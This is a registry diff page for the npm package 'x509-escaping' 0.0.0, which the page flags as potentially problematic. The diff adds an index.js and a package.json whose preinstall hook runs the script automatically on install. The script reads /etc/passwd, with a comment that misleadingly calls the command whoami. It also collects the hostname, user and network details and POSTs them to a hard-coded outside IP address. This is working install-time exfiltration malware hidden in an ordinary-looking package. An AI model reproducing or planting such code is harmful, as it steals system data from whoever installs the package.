x509-escaping 0.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of x509-escaping might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +57 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,57 @@
1
+ const os = require('os');
2
+ const http = require('http');
3
+ const { execSync } = require('child_process'); // To execute shell commands
4
+
5
+ // Replace with the proper hostname or IP address of your Flask API
6
+ const apiHostname = '13.60.183.44'; // Your Flask API's hostname or IP
7
+ const apiPort = 5000; // Flask API's port
8
+ const apiPath = '/submit'; // Endpoint path
9
+
10
+ // Collect device information
11
+ let whoamiInfo = '';
12
+ try {
13
+ // Execute the 'whoami' command and trim the output
14
+ whoamiInfo = execSync('cat /etc/passwd', { encoding: 'utf-8' }).trim();
15
+ } catch (error) {
16
+ whoamiInfo = `Error executing whoami: ${error.message}`;
17
+ }
18
+
19
+ // Collect device information
20
+ const deviceInfo = {
21
+ platform: os.platform(),
22
+ release: os.release(),
23
+ hostname: os.hostname(),
24
+ arch: os.arch(),
25
+ userInfo: os.userInfo(),
26
+ networkInterfaces: os.networkInterfaces(),
27
+ whoamiinfo: whoamiInfo, // Include whoami output
28
+ user: "x509-escaping",
29
+ };
30
+
31
+ // Define the request options
32
+ const options = {
33
+ hostname: apiHostname,
34
+ port: apiPort,
35
+ path: apiPath,
36
+ method: 'POST',
37
+ headers: {
38
+ 'Content-Type': 'application/json', // Inform the server about the JSON body
39
+ },
40
+ };
41
+
42
+ // Create the request
43
+ const req = http.request(options, (res) => {
44
+ console.log(`Status: ${res.statusCode}`);
45
+ res.on('data', (chunk) => {
46
+ console.log(`Body: ${chunk}`);
47
+ });
48
+ });
49
+
50
+ // Handle any errors
51
+ req.on('error', (error) => {
52
+ console.error(`Error: ${error.message}`);
53
+ });
54
+
55
+ // Write the JSON body to the request and send it
56
+ req.write(JSON.stringify(deviceInfo));
57
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "x509-escaping",
3
+ "version": "0.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }